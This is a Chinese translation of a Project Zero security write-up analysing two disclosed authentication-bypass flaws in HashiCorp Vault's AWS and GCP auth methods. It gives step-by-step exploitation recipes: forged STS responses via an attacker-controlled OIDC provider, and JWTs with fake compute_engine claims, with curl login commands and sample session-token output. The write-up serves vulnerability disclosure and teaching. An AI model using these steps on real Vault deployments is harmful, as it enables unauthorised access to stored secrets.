深入剖析HashiCorp Vault中的身份驗證漏洞(下篇)
在上一篇文章中,我們為讀者介紹了Vault的身份驗證架構,以及冒用調用方身份的方法,在本文中,我們將繼續為讀者介紹冒用調用方身份以及利用Vault-on-GCP的漏洞的過程。
STS(調用方)身份盜用 (接上文)
這使我們向盜用任意調用方身份的目標更靠近了一步:我們只需要找到一個STS操作來反映攻擊者控制的文本,并將它作為其API響應的一部分。然后,對它的請求進行序列化,同時包含一個Accept: application/json標頭,并將一個任意的GetCallerIdentityResponse XML blob放入反射型payload中。
找到一個不受字母數字字符限制的反射型參數是一件非常棘手的事情。經過反復嘗試后,我決定以AssumeRoleWithWebIdentity操作和它的SubjectFromWebIdentityToken響應元素作為目標。其中,AssumeRoleWithWebIdentity用于將OpenID Connect(OIDC)供應商簽名的JSON Web Tokens(JWT)轉換成AWS IAM身份。
使用有效簽名的JWT向該操作發送請求,將返回SubjectFromWebIdentityToken字段中的令牌的sub字段。
當然,一個正常的OIDC供應商是不會在主題字段中給帶有XML有效載荷的JWT進行簽名的。不過,攻擊者只要直接創建自己的OIDC身份供應商(IdP),并將其注冊到自己的AWS賬戶上,然后就可以用自己的密鑰對任意的令牌進行簽名了。
讓我們把這一切放在一起,就可以搞定整個攻擊過程:
創建一個OIDC IdP。實際上,就是生成一個RSA密鑰對,創建一個OIDC discovery.json和key.json文檔,并將json文件托管在Web服務器上(參見這里,這是使用S3的設置示例)。
使用自己的AWS賬戶注冊一個OID IdP -> AWS IAM角色映射。需要注意的是,這里的AWS賬戶不需要與我們的目標有任何關系。
現在,就可以使用我們的OIDP給一個JWT進行簽名了,其中可以放入任意的GetCallerIdentityResponse,只要將其作為主題聲明的一部分即可。解碼后的示例令牌可能是這樣的:iss、azp和aud與步驟2中指定的細節是完全匹配的。其中,sub中包含我們的偽造的響應,從而將我們識別為AWS IAM賬戶arn:aws:iam::superprivileged-aws-account。
- {'iss': 'https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/',
- 'azp': 'abcdef', 'aud': 'abcdef',
- 'sub': '',
- 'exp': 1595120834, 'iat': 1594207895}
我們可以使用步驟3中的(已經簽名的)令牌和步驟2中使用的RoleArn直接向STS AssumeRoleWithWebIdentity操作發送請求,以測試所有設置是否正確:
- curl -H "Accept: application/json"
- 'https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn=arn:aws:iam::XZY::YOUR-OIDC-ROLE&WebIdentityToken=YOURTOKEN'
如果一切按計劃進行,STS將把令牌主題反映為其JSON編碼響應的一部分。如上所述,Go XML解碼器將跳過GetCallerIdentityResponse對象前后的所有內容,從而使Vault認為這是一個有效的STS CallerIdentity響應。
- {"AssumeRoleWithWebIdentityResponse":{"AssumeRoleWithWebIdentityResult":
- {"AssumedRoleUser":{"Arn":"arn:aws:iam::XZY::YOUR-OIDC-ROLE/web-identity-federation","AssumedRoleId":"AROATQ4R7PP5JJNLOF5P6:web-identity-federation"},
- "Audience":"abcdef","Credentials":{...},"PackedPolicySize":null,"Provider":"arn:aws:iam::242434931706:oidc-provider/oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/",
- "SubjectFromWebIdentityToken":""},
- "ResponseMetadata":....}
最后一步是將該請求轉換為Vault所期望的形式(例如使用base64編碼所有所需的標頭、url和一個空的post正文),并將其作為/v1/auth/aws/login上的登錄請求發送給目標Vault服務器。此后,Vault將反序列化該請求,將其發送到STS,并錯誤地解釋該響應。如果我們偽造的GetCallerIdentityResponse中的AWS ARN/UserID在Vault服務器上具有特權,我們就會得到一個有效的會話令牌,這樣,我們就可以用它來與Vault服務器交互,從而進一步獲取更多機密信息了。
- curl -X POST "https://vault-server/v1/auth/aws/login" -d '{"role":"dev-role-iam",
- "iam_http_request_method": "POST", "iam_request_body": "encoded-body", , "iam_request_headers" :
- "encoded-headers", "iam_request_url" : "encoded-url"}'
- {"request_id":"59b09a0b-f5d5-f4c4-8ed0-af86a2c1f5d4","lease_id":"","renewable":false,"lease_duration":0,"data":null,"wrap_info":null,"warnings":["TTL
- of \"768h\" exceeded the effective max_ttl of \"500h\"; TTL value is capped
- accordingly"],"auth":{"client_token":"s.Kx3bUNw6wEc5bbkrKBiGW6WL","accessor":"TBRh0hvfd4FkYEAyFrUE3i2P","policies":["default","dev","prod"],"token_policies":["default","dev","prod"],
- "metadata":{"account_id":"242434931706","auth_type":"iam","role_id":"47faaf36-c8ab-c589-396c-2643c26e7b30"},
- "lease_duration":1800000,"renewable":true,"entity_id":"447e1efe-0fd4-aa10-3a54-52405c0c69ab","token_type":"service","orphan":true}}
我已經編寫了一個概念驗證exploit,用于負責JWT的創建和序列化等的大部分工作。雖然OIDC供應商的設置增加了一些復雜性,但我們仍可以繞過所有啟用AWS的角色的身份驗證。這里唯一的要求是,攻擊者需要知道目標Vault服務器中的特權AWS角色的名稱。
那么問題出自哪里呢?從攻擊者的角度來看,整個認證機制看起來很機智,但容易出錯。將HTTP請求轉發放入安全產品未經身份驗證的外部攻擊表面需要對實現和底層HTTP庫具有極強的信心。由于安全性取決于安全令牌服務的實現細節,而安全令牌服務可能隨時發生變化,這會讓事情變得更加困難。例如,AWS可能會決定將STS放在負載均衡前端的后面,使用Host標頭進行路由決策。出現這種情況后,如果不對Vault代碼庫進行相應的修改,可能會嚴重降低這種認證機制的安全性。
當然,身份驗證之所以這樣工作也是有原因的:AWS IAM沒有向其他非AWS服務證明該服務身份的直接方法。第三方服務無法輕松驗證預簽名請求,并且AWS IAM沒有提供可用于實現基于證書的身份驗證或JWT的標準簽名原語。
最后,Hashicorp通過強制執行HTTP標頭文件的允許列表、限制請求使用GetCallerIdentity操作以及加強對STS響應的驗證來修復了該漏洞,以期可以防止STS實現的意外變化或STS與Golang之間的HTTP解析器的差別所帶來的影響。
在AWS身份驗證模塊中發現這個問題后,我決定審查其GCP的等價物。下一節將介紹Vault的GCP認證是如何實現的,以及在許多配置中,一個簡單的邏輯缺陷是如何導致認證繞過的。
利用Vault-on-GCP的漏洞
Vault支持在谷歌云上部署的gcp認證方法。與AWS的同類產品類似,該認證方法支持兩種不同的認證機制:iam和gce機制。其中,iam機制能夠支持任意服務賬戶,并且可以在App Engine或Cloud Functions等服務中使用,而gce只能用于對運行在Google Compute Engine上的虛擬機進行身份驗證。不過,它還是具有一些優勢的:gce不僅可以根據服務帳戶身份做出身份驗證決策,還可以根據多個VM屬性授予訪問權限。例如,一個配置可以只允許特定區域(europe-west-6)的虛擬機訪問某些機密信息,允許xyz-prod GCP項目中的所有虛擬機所有訪問權限,或者使用instance-groups對訪問權限做進一步的限制。
實際上,iam和gce認證機制都是建立在JWT之上的。一個vault客戶端如果想要進行身份驗證,則需要創建一個簽名令牌來證明自己的身份,并將其發送到vault服務器來獲取會話令牌。對于iam機制來說,客戶端可以直接使用其控制的服務賬戶私鑰或使用projects.serviceAccounts.signJwt IAM API方法給令牌簽名。
對于gce來說,客戶端需要在授權的GCE虛擬機上運行。它通過向GCP元數據服務器的實例身份端點發送請求來獲取簽名令牌。與服務賬戶令牌相比,這個令牌是由谷歌官方證書進行簽名的。除了正常的JWT聲明(sub、aud、iat、exp)外,從元數據服務器返回的令牌還包含一個特殊的compute_engine聲明,它列出了關于該實例的相關細節,這些細節將作為認證過程的一部分進行處理。
- "google":{"compute_engine":{"instance_creation_timestamp":1594641932,"instance_id":"671398237781058X
- XXX","instance_name":"vault","project_id":"fwilhelm-testing-XXXX","project_number":950612XXXX,"zone":"europe-west3-c"}}
JWT在設計上有很多選擇的余地,這使得它的實現非常容易出現問題(參見securitum的這篇博文,以了解典型問題的相關概述),所以,我決定花一天時間來回顧Vault的令牌處理機制。
實際上,函數parseAndValidateJwt是專門負責處理gce和iam令牌的。
該函數首先在不驗證簽名的情況下解析令牌,并將解碼后的令牌傳入getSigningKey helper方法:
- // Process JWT string.
- signedJwt, ok := data.GetOk("jwt")
- if !ok {
- return nil, errors.New("jwt argument is required")
- }
- // Parse 'kid' key id from headers.
- jwtVal, err := jwt.ParseSigned(signedJwt.(string))
- if err != nil {
- return nil, errwrap.Wrapf("unable to parse signed JWT: {{err}}", err)
- }
- key, err := b.getSigningKey(ctx, jwtVal, signedJwt.(string), loginInfo.Role, req.Storage)
- if err != nil {
- return nil, errwrap.Wrapf("unable to get public key for signed JWT: %v", err)
- }
其中,getSigningKey將從token標頭中提取密鑰id聲明(kid),并試圖找到一個具有相同標識符的google級別(google-wide)的oAuth密鑰。它雖然對GCE元數據令牌有效,但對服務賬戶簽名的令牌無效:
- func (b *GcpAuthBackend) getSigningKey(...) (interface{}, error) {
- b.Logger().Debug("Getting signing Key for JWT")
- if len(token.Headers) != 1 {
- return nil, errors.New("expected token to have exactly one header")
- }
- kid := token.Headers[0].KeyID
- b.Logger().Debug("kid found for JWT", "kid", kid)
- // Try getting Google-wide key
- k, gErr := gcputil.OAuth2RSAPublicKey(ctx, kid)
- if gErr == nil {
- b.Logger().Debug("Found Google OAuth2 provider key", "kid", kid)
- return k, nil
- }
如果這種方法失敗,Vault服務器會從提供的令牌中提取Subject(sub)聲明。對于有效的令牌,這個聲明將包含簽名服務賬戶的電子郵件地址。知道了令牌的密鑰id和主題后,Vault就能使用服務賬戶GCP API獲取用于簽名的公鑰:
- // If that failed, try to get account-specific key
- b.Logger().Debug("Unable to get Google-wide OAuth2 Key, trying service-account public key")
- saId, err := getJWTSubject(rawToken)
- if err != nil {
- return nil, err
- }
- k, saErr := gcputil.ServiceAccountPublicKey(saId, kid)
- if saErr != nil {
- return nil, errwrap.Wrapf(fmt.Sprintf("unable to get public key %q for JWT subject %q: {{err}}", kid, saId), saErr)
- }
- return k, nil
在這兩種情況下,Vault服務器現在都可以訪問驗證JWT簽名的公鑰了:
- // Parse claims and verify signature.
- baseClaims := &jwt.Claims{}
- customClaims := &gcputil.CustomJWTClaims{}
- if err = jwtVal.Claims(key, baseClaims, customClaims); err != nil {
- return nil, err
- }
- if err = validateBaseJWTClaims(baseClaims, loginInfo.RoleName); err != nil {
- return nil, err
- }
如果驗證成功,Vault將填寫loginInfo結構體,該結構體稍后用于授予或拒絕授予訪問權限。如果令牌包含compute_engine聲明,則將其復制到logininfo.gceMetada字段中:
- loginInfo.JWTClaims = baseClaims
- if len(baseClaims.Subject) == 0 {
- return nil, errors.New("expected JWT to have non-empty 'sub' claim")
- }
- loginInfo.EmailOrId = baseClaims.Subject
- if customClaims.Google != nil && customClaims.Google.Compute != nil && len(customClaims.Google.Compute.InstanceId) > 0 {
- loginInfo.GceMetadata = customClaims.Google.Compute
- }
- if loginInfo.Role.RoleType == gceRoleType && loginInfo.GceMetadata == nil {
- return nil, errors.New("expected JWT to have claims with GCE metadata")
- }
- return loginInfo, nil
如上所述,所有這些代碼都在iam和gce auth方法之間是通用的。這里的問題是,沒有強制要求該令牌是由不包含GCE compute_engine聲明的服務賬戶進行簽名的。雖然GCE元數據令牌中的內容是可信的,并且是由Google控制的,但服務賬戶令牌則是完全由服務賬戶的所有者控制的,因此可能包含任意的聲明。
如果我們按照gce方法的控制流程走到最后,我們將會發現,Vault會在pathGceLogin中將loginInfo.GceMetadata作為其認證決策的一部分,如果滿足下面兩個條件的話:
元數據部分中描述的VM需要存在。這是使用GCE API驗證的,并且需要攻擊者模擬處于運行狀態的VM。實際上,只有project_id、zone和instance_name需要驗證,并且需要設置為有效值。
JWT令牌的主題聲明中的服務帳戶必須是存在的。這是通過ServiceAccount GCP API進行驗證的,要求在托管服務帳戶的項目中擁有am.ServiceAccounts.Get權限。由于攻擊者可以在自己的項目中使用服務帳戶,所以只需將這個權限授予Vault GCP身份,甚至是allUsers即可。
最后,調用AuthorizeGCE來授予或拒絕訪問權限。如果攻擊者使用正確的屬性(項目、標簽、區域等)冒充的GCE實例一切正常,攻擊者將得到一個有效的會話令牌。唯一不能繞過的身份驗證限制,就是硬編碼的服務帳戶名,因為該值等于攻擊者帳戶,而不是預期的VM帳戶名。
針對易受攻擊配置的端到端攻擊過程如下所示:
1. 在你控制的GCP項目中創建一個服務賬戶,并使用gcloud生成一個私鑰:gcloud iam service-accounts keys create key.json --iam-account sa-name@project-id.iam.gserviceaccount.com。
2. 用一個偽造的compute_engine claim來給一個JWT簽名,以冒充一個現有的、有特權的虛擬機。請看這里的簡單的概念驗證腳本,其中已經考慮到了大部分的細節。
3. 現在,只需使用令牌登錄Vault即可:curl --request POST --data '{"role": "my-gce-role", "jwt" : "...."}' http://vault:8200/v1/auth/gcp/login
這是一個非常有趣的漏洞,需要對GCP IAM有一定的了解才能發現它。該漏洞的根源,好像是因為在parseAndValidateJwt函數中,將兩個獨立的認證流合并到一個代碼路徑中,這使得在編寫或審查代碼時,很難弄清楚所有的安全要求。同時,由于GCP提供了兩種具有完全不同安全屬性的JWT令牌,使得自己很容易中槍。
小結
本文介紹了用于管理機密信息的“云原生”軟件HashiCorp Vault中被曝出的兩個認證漏洞。雖然Vault在開發時明顯考慮到了安全問題,并從其實現語言Go的內存安全和高質量標準庫中受益良多,但我仍然能夠在其無需認證的攻擊面中發現兩個關鍵漏洞。
根據我的經驗,在開發人員必須與外部系統和服務交互的地方,經常會存在類似這樣的棘手漏洞。一個強大的開發人員也許能夠推理出自己軟件的所有安全邊界、需求和陷阱,但一旦有復雜的外部服務出現,確保軟件的安全性就變得非常困難。雖然現代云IAM解決方案功能強大,通常比同類內部解決方案更安全,但也有自己的安全隱患和較高的實施復雜性。隨著越來越多的公司向大型云提供商遷移,熟悉這些技術棧將成為安全工程師和研究人員的關鍵技能,可以肯定的是,未來幾年肯定會曝出越來越多的同類問題。
最后,本文所討論的兩個漏洞都表明了編寫的安全軟件是多么的困難。即使使用內存安全的語言、強大的密碼學原語、靜態分析和大型模糊基礎結構,某些問題也只能通過手動代碼審查和攻擊者的思維方式才能發現。
本文翻譯自:https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html如若轉載,請注明原文地址。